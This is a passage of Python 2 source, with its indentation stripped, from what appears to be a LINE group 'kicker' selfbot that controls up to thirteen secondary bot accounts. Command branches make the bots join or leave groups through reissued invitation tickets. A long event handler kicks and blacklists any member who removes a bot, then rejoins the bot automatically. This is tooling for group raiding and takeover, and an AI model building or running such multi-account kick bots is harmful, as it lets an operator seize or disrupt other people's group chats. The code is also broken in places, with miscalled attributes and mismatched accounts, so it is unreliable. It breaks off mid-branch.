ki2.acceptGroupInvitationByTicket(msg.to,Ticket)
ki3.acceptGroupInvitationByTicket(msg.to,Ticket)
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = True
ki.updateGroup(G)
print "kicker ok"
G.preventJoinByTicket(G)
ki.updateGroup(G)
#-----------------------------------------------
elif "1in" in msg.text:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
ki.acceptGroupInvitationByTicket(msg.to,Ticket)
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = True
ki.updateGroup(G)
print "kicker ok"
G.preventJoinByTicket(G)
ki.updateGroup(G)
#-----------------------------------------------
elif "2in" in msg.text:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
ki2.acceptGroupInvitationByTicket(msg.to,Ticket)
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = True
ki2.updateGroup(G)
print "kicker ok"
G.preventJoinByTicket(G)
ki2.updateGroup(G)
#-----------------------------------------------
elif "3in" in msg.text:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
ki3.acceptGroupInvitationByTicket(msg.to,Ticket)
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = True
ki3.updateGroup(G)
print "kicker ok"
G.preventJoinByTicket(G)
ki3.updateGroup(G)
#-----------------------------------------------
elif "4in" in msg.text:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
ki3.acceptGroupInvitationByTicket(msg.to,Ticket)
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = True
ki4.updateGroup(G)
print "kicker ok"
G.preventJoinByTicket(G)
ki4.updateGroup(G)
#-----------------------------------------------
elif "5in" in msg.text:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
ki3.acceptGroupInvitationByTicket(msg.to,Ticket)
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = True
ki5.updateGroup(G)
print "kicker ok"
G.preventJoinByTicket(G)
ki5.updateGroup(G)
#-----------------------------------------------
elif "6in" in msg.text:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
ki3.acceptGroupInvitationByTicket(msg.to,Ticket)
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = True
ki6.updateGroup(G)
print "kicker ok"
G.preventJoinByTicket(G)
ki6.updateGroup(G)
#-----------------------------------------------
elif "7in" in msg.text:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
ki3.acceptGroupInvitationByTicket(msg.to,Ticket)
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = True
ki7.updateGroup(G)
print "kicker ok"
G.preventJoinByTicket(G)
ki7.updateGroup(G)
#-----------------------------------------------
elif "8in" in msg.text:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
ki3.acceptGroupInvitationByTicket(msg.to,Ticket)
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = True
ki8.updateGroup(G)
print "kicker ok"
G.preventJoinByTicket(G)
ki8.updateGroup(G)
#-----------------------------------------------
elif "9in" in msg.text:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
ki3.acceptGroupInvitationByTicket(msg.to,Ticket)
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = True
ki9.updateGroup(G)
print "kicker ok"
G.preventJoinByTicket(G)
ki9.updateGroup(G)
#-----------------------------------------------
elif "10in" in msg.text:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
ki3.acceptGroupInvitationByTicket(msg.to,Ticket)
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventJoinByTicket = True
ki10.updateGroup(G)
print "kicker ok"
G.preventJoinByTicket(G)
ki10.updateGroup(G)
#-----------------------------------------------
#-----------------------------------------------
elif msg.text.lower() == 'out':
if msg.toType == 2:
ginfo = cl.getGroup(msg.to)
try:
ki.leaveGroup(msg.to)
ki2.leaveGroup(msg.to)
ki3.leaveGroup(msg.to)
ki4.leaveGroup(msg.to)
ki5.leaveGroup(msg.to)
ki6.leaveGroup(msg.to)
ki7.leaveGroup(msg.to)
ki8.leaveGroup(msg.to)
ki9.leaveGroup(msg.to)
ki10.leaveGroup(msg.to)
ki11.leaveGroup(msg.to)
ki12.leaveGroup(msg.to)
ki13.leaveGroup(msg.to)
except:
pass
#-----------------------------------------------
elif "1out" in msg.text:
if msg.toType == 2:
ginfo = cl.getGroup(msg.to)
try:
ki.leaveGroup(msg.to)
except:
pass
#-----------------------------------------------
elif "2out" in msg.text:
if msg.toType == 2:
ginfo = cl.getGroup(msg.to)
try:
ki3.leaveGroup(msg.to)
except:
pass
#-----------------------------------------------
elif "3out" in msg.text:
if msg.toType == 2:
ginfo = cl.getGroup(msg.to)
try:
ki3.leaveGroup(msg.to)
except:
pass
#-----------------------------------------------
elif "4out" in msg.text:
if msg.toType == 2:
ginfo = cl.getGroup(msg.to)
try:
ki4.leaveGroup(msg.to)
except:
pass
#-----------------------------------------------
elif "5out" in msg.text:
if msg.toType == 2:
ginfo = cl.getGroup(msg.to)
try:
ki5.leaveGroup(msg.to)
except:
pass
#-----------------------------------------------
elif "6out" in msg.text:
if msg.toType == 2:
ginfo = cl.getGroup(msg.to)
try:
ki6.leaveGroup(msg.to)
except:
pass
#-----------------------------------------------
elif "7out" in msg.text:
if msg.toType == 2:
ginfo = cl.getGroup(msg.to)
try:
ki7.leaveGroup(msg.to)
except:
pass
#-----------------------------------------------
elif "8out" in msg.text:
if msg.toType == 2:
ginfo = cl.getGroup(msg.to)
try:
ki8.leaveGroup(msg.to)
except:
pass
#-----------------------------------------------
elif "9out" in msg.text:
if msg.toType == 2:
ginfo = cl.getGroup(msg.to)
try:
ki9.leaveGroup(msg.to)
except:
pass
#-----------------------------------------------
elif "10out" in msg.text:
if msg.toType == 2:
ginfo = cl.getGroup(msg.to)
try:
ki10.leaveGroup(msg.to)
except:
pass
#-----------------------------------------------
elif "Leave" in msg.text:
if msg.toType == 2:
ginfo = cl.getGroup(msg.to)
try:
cl.leaveGroup(msg.to)
except:
pass
#-----------------------------------------------
elif "Kb Key" in msg.text:
ki.sendText(msg.to,""" BOT [KB] \n\n key Only Kicker \n\n[Kb1 in]\n[1name:]\n[B Cancel]\n[kick @]\n[Ban @]\n[kill]\n[BotChat]\n[Respons]\n[Kb1 Gift]\n[Kb1 bye]\n\n
TEAM LONGOR WAS HERE
""")
#-----------------------------------------------
elif msg.text.lower() == 'Kam':
ginfo = cl.getGroup(msg.to)
cl.sendText(msg.to,"✏Selamat Datang Di Grup " + str(ginfo.name))
cl.sendText(msg.to,"✏Owner Grup " + str(ginfo.name) + " \n" + ginfo.creator.displayName )
elif "Say " in msg.text:
bctxt = msg.text.replace("Say ","")
ki.sendText(msg.to,(bctxt))
ki2.sendText(msg.to,(bctxt))
ki3.sendText(msg.to,(bctxt))
#-----------------------------------------------
#-----------------------------------------------
if op.type == 19:
try:
if op.param3 in mid:
if op.param2 in kimid:
G = ki.getGroup(op.param1)
G.preventJoinByTicket = False
ki.updateGroup(G)
ki.updateGroup(G)
Ticket = ki.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
ki.updateGroup(G)
ki.updateGroup(G)
Ticket = ki.reissueGroupTicket(op.param1)
else:
G = ki.getGroup(op.param1)
ki.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki13.updateGroup(G)
ki13.updateGroup(G)
Ticket = ki13.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
ki13.updateGroup(G)
ki13.updateGroup(G)
Ticket = ki13.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in kimid:
if op.param2 in mid:
G = cl.getGroup(op.param1)
G.preventJoinByTicket = False
cl.updateGroup(G)
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
cl.updateGroup(G)
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
else:
G = ki2.getGroup(op.param1)
ki2.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
cl.updateGroup(G)
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
cl.updateGroup(G)
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki2mid:
if op.param2 in kimid:
G = ki.getGroup(op.param1)
G.preventJoinByTicket = False
ki.updateGroup(G)
ki.updateGroup(G)
Ticket = ki.reissueGroupTicket(op.param1)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki.reissueGroupTicket(op.param1)
else:
G = ki3.getGroup(op.param1)
ki3.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki.updateGroup(G)
ki.updateGroup(G)
Ticket = ki.reissueGroupTicket(op.param1)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
ki.updateGroup(G)
ki.updateGroup(G)
Ticket = ki.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki3mid:
if op.param2 in ki2mid:
G = ki2.getGroup(op.param1)
G.preventJoinByTicket = False
ki2.updateGroup(G)
ki2.updateGroup(G)
Ticket = ki2.reissueGroupTicket(op.param1)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
ki2.updateGroup(G)
ki2.updateGroup(G)
Ticket = ki2.reissueGroupTicket(op.param1)
else:
G = ki4.getGroup(op.param1)
ki4.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki2.updateGroup(G)
ki2.updateGroup(G)
Ticket = ki2.reissueGroupTicket(op.param1)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
ki2.updateGroup(G)
ki2.updateGroup(G)
Ticket = ki2.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki4mid:
if op.param2 in ki3mid:
G = ki3.getGroup(op.param1)
G.preventJoinByTicket = False
ki3.updateGroup(G)
ki3.updateGroup(G)
Ticket = ki3.reissueGroupTicket(op.param1)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
ki3.updateGroup(G)
ki3.updateGroup(G)
Ticket = ki3.reissueGroupTicket(op.param1)
else:
G = ki5.getGroup(op.param1)
ki5.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki3.updateGroup(G)
ki3.updateGroup(G)
Ticket = ki3.reissueGroupTicket(op.param1)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
ki3.updateGroup(G)
ki3.updateGroup(G)
Ticket = ki3.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki5mid:
if op.param2 in ki4mid:
G = ki4.getGroup(op.param1)
G.preventJoinByTicket = False
ki4.updateGroup(G)
ki4.updateGroup(G)
Ticket = ki4.reissueGroupTicket(op.param1)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
ki4.updateGroup(G)
ki4.updateGroup(G)
Ticket = ki4.reissueGroupTicket(op.param1)
else:
G = ki6.getGroup(op.param1)
ki6.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki4.updateGroup(G)
ki4.updateGroup(G)
Ticket = ki4.reissueGroupTicket(op.param1)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
ki4.updateGroup(G)
ki4.updateGroup(G)
Ticket = ki4.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki6mid:
if op.param2 in ki5mid:
G = ki5.getGroup(op.param1)
G.preventJoinByTicket = False
ki5.updateGroup(G)
ki5.updateGroup(G)
Ticket = ki5.reissueGroupTicket(op.param1)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
ki5.updateGroup(G)
ki5.updateGroup(G)
Ticket = ki5.reissueGroupTicket(op.param1)
else:
G = ki7.getGroup(op.param1)
ki7.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki5.updateGroup(G)
ki5.updateGroup(G)
Ticket = ki5.reissueGroupTicket(op.param1)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
ki5.updateGroup(G)
ki5.updateGroup(G)
Ticket = ki5.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki7mid:
if op.param2 in ki6mid:
G = ki6.getGroup(op.param1)
G.preventJoinByTicket = False
ki6.updateGroup(G)
ki6.updateGroup(G)
Ticket = ki6.reissueGroupTicket(op.param1)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
ki6.updateGroup(G)
ki6.updateGroup(G)
Ticket = ki6.reissueGroupTicket(op.param1)
else:
G = ki8.getGroup(op.param1)
ki8.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki6.updateGroup(G)
ki6.updateGroup(G)
Ticket = ki6.reissueGroupTicket(op.param1)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
ki6.updateGroup(G)
ki6.updateGroup(G)
Ticket = ki6.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki8mid:
if op.param2 in ki7mid:
G = ki7.getGroup(op.param1)
G.preventJoinByTicket = False
ki7.updateGroup(G)
Ticket = ki7.reissueGroupTicket(op.param1)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki7.reissueGroupTicket(op.param1)
else:
G = ki9.getGroup(op.param1)
ki9.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki7.updateGroup(G)
Ticket = ki7.reissueGroupTicket(op.param1)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki7.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki9mid:
if op.param2 in ki8mid:
G = ki8.getGroup(op.param1)
G.preventJoinByTicket = False
ki8.updateGroup(G)
Ticket = ki8.reissueGroupTicket(op.param1)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki8.reissueGroupTicket(op.param1)
else:
G = ki10.getGroup(op.param1)
ki10.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki8.updateGroup(G)
Ticket =ki8.reissueGroupTicket(op.param1)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki8.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki10mid:
if op.param2 in ki9mid:
G = ki9.getGroup(op.param1)
G.preventJoinByTicket = False
ki9.updateGroup(G)
Ticket = ki9.reissueGroupTicket(op.param1)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki9.reissueGroupTicket(op.param1)
else:
G = ki11.getGroup(op.param1)
ki11.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki9.updateGroup(G)
Ticket =ki9.reissueGroupTicket(op.param1)
ki10.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki9.reissueGroupTicket(op.param1)
elif op.param3 in ki11mid:
if op.param2 in ki10mid:
G = ki9.getGroup(op.param1)
G.preventJoinByTicket = False
ki10.updateGroup(G)
Ticket = ki10.reissueGroupTicket(op.param1)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki10.reissueGroupTicket(op.param1)
else:
G = ki12.getGroup(op.param1)
ki12.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki10.updateGroup(G)
Ticket =ki10.reissueGroupTicket(op.param1)
ki11.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki10.reissueGroupTicket(op.param1)
elif op.param3 in ki12mid:
if op.param2 in ki11mid:
G = ki11.getGroup(op.param1)
G.preventJoinByTicket = False
ki11.updateGroup(G)
Ticket = ki11.reissueGroupTicket(op.param1)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki11.reissueGroupTicket(op.param1)
else:
G = ki13.getGroup(op.param1)
ki13.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki11.updateGroup(G)
Ticket =ki11.reissueGroupTicket(op.param1)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki11.reissueGroupTicket(op.param1)
elif op.param3 in ki13mid:
if op.param2 in ki12mid:
G = ki12.getGroup(op.param1)
G.preventJoinByTicket = False
ki12.updateGroup(G)
Ticket = ki12.reissueGroupTicket(op.param1)
ki13.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki12.reissueGroupTicket(op.param1)
else:
G = cl.getGroup(op.param1)
cl.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki12.updateGroup(G)
Ticket =ki12.reissueGroupTicket(op.param1)
ki12.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki12.reissueGroupTicket(op.param1)
if op.param3 in mid:
if op.param2 in kimid:
G = ki.getGroup(op.param1)
G.preventJoinByTicket = False
ki.updateGroup(G)
Ticket = ki.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
ki.updateGroup(G)
Ticket = ki.reissueGroupTicket(op.param1)
else:
G = ki.getGroup(op.param1)
ki.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki13.updateGroup(G)
Ticket = ki13.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki13.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in kimid:
if op.param2 in mid:
G = cl.getGroup(op.param1)
G.preventJoinByTicket = False
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
else:
G = ki2.getGroup(op.param1)
ki2.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
cl.updateGroup(G)
cl.updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
ki.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = cl.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki2mid:
if op.param2 in kimid:
G = ki.getGroup(op.param1)
G.preventJoinByTicket = False
ki.updateGroup(G)
Ticket = ki.reissueGroupTicket(op.param1)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki.reissueGroupTicket(op.param1)
else:
G = ki3.getGroup(op.param1)
ki3.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki.updateGroup(G)
Ticket = ki.reissueGroupTicket(op.param1)
ki2.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki3mid:
if op.param2 in ki2mid:
G = ki2.getGroup(op.param1)
G.preventJoinByTicket = False
ki2.updateGroup(G)
Ticket = ki2.reissueGroupTicket(op.param1)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki2.reissueGroupTicket(op.param1)
else:
G = ki4.getGroup(op.param1)
ki4.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki2.updateGroup(G)
Ticket = ki2.reissueGroupTicket(op.param1)
ki3.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki2.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki4mid:
if op.param2 in ki3mid:
G = ki3.getGroup(op.param1)
G.preventJoinByTicket = False
ki3.updateGroup(G)
Ticket = ki3.reissueGroupTicket(op.param1)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki3.reissueGroupTicket(op.param1)
else:
G = ki5.getGroup(op.param1)
ki5.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki3.updateGroup(G)
Ticket = ki3.reissueGroupTicket(op.param1)
ki4.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki3.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki5mid:
if op.param2 in ki4mid:
G = ki4.getGroup(op.param1)
G.preventJoinByTicket = False
ki4.updateGroup(G)
Ticket = ki4.reissueGroupTicket(op.param1)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki4.reissueGroupTicket(op.param1)
else:
G = ki6.getGroup(op.param1)
ki6.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki4.updateGroup(G)
Ticket = ki4.reissueGroupTicket(op.param1)
ki5.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki4.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki6mid:
if op.param2 in ki5mid:
G = ki5.getGroup(op.param1)
G.preventJoinByTicket = False
ki5.updateGroup(G)
Ticket = ki5.reissueGroupTicket(op.param1)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki5.reissueGroupTicket(op.param1)
else:
G = ki7.getGroup(op.param1)
ki7.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki5.updateGroup(G)
Ticket = ki5.reissueGroupTicket(op.param1)
ki6.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki5.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki7mid:
if op.param2 in ki6mid:
G = ki6.getGroup(op.param1)
G.preventJoinByTicket = False
ki6.updateGroup(G)
Ticket = ki6.reissueGroupTicket(op.param1)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki6.reissueGroupTicket(op.param1)
else:
G = ki8.getGroup(op.param1)
ki8.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki6.updateGroup(G)
Ticket = ki6.reissueGroupTicket(op.param1)
ki7.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki6.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki8mid:
if op.param2 in ki7mid:
G = ki7.getGroup(op.param1)
G.preventJoinByTicket = False
ki7.updateGroup(G)
Ticket = ki7.reissueGroupTicket(op.param1)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki7.reissueGroupTicket(op.param1)
else:
G = ki9.getGroup(op.param1)
ki9.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki7.updateGroup(G)
Ticket = ki7.reissueGroupTicket(op.param1)
ki8.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki7.reissueGroupTicket(op.param1)
wait["blacklist"][op.param2] = True
elif op.param3 in ki9mid:
if op.param2 in ki8mid:
G = ki8.getGroup(op.param1)
G.preventJoinByTicket = False
ki8.updateGroup(G)
Ticket = ki8.reissueGroupTicket(op.param1)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
G.preventJoinByTicket = True
random.choice(KAC).updateGroup(G)
Ticket = ki8.reissueGroupTicket(op.param1)
else:
G = ki10.getGroup(op.param1)
ki10.kickoutFromGroup(op.param1,[op.param2])
G.preventJoinByTicket = False
ki8.updateGroup(G)
Ticket =ki8.reissueGroupTicket(op.param1)
ki9.acceptGroupInvitationByTicket(op.param1,Ticket)
cl.acceptGroupInvitationByTicket(op.param1,Ticket)
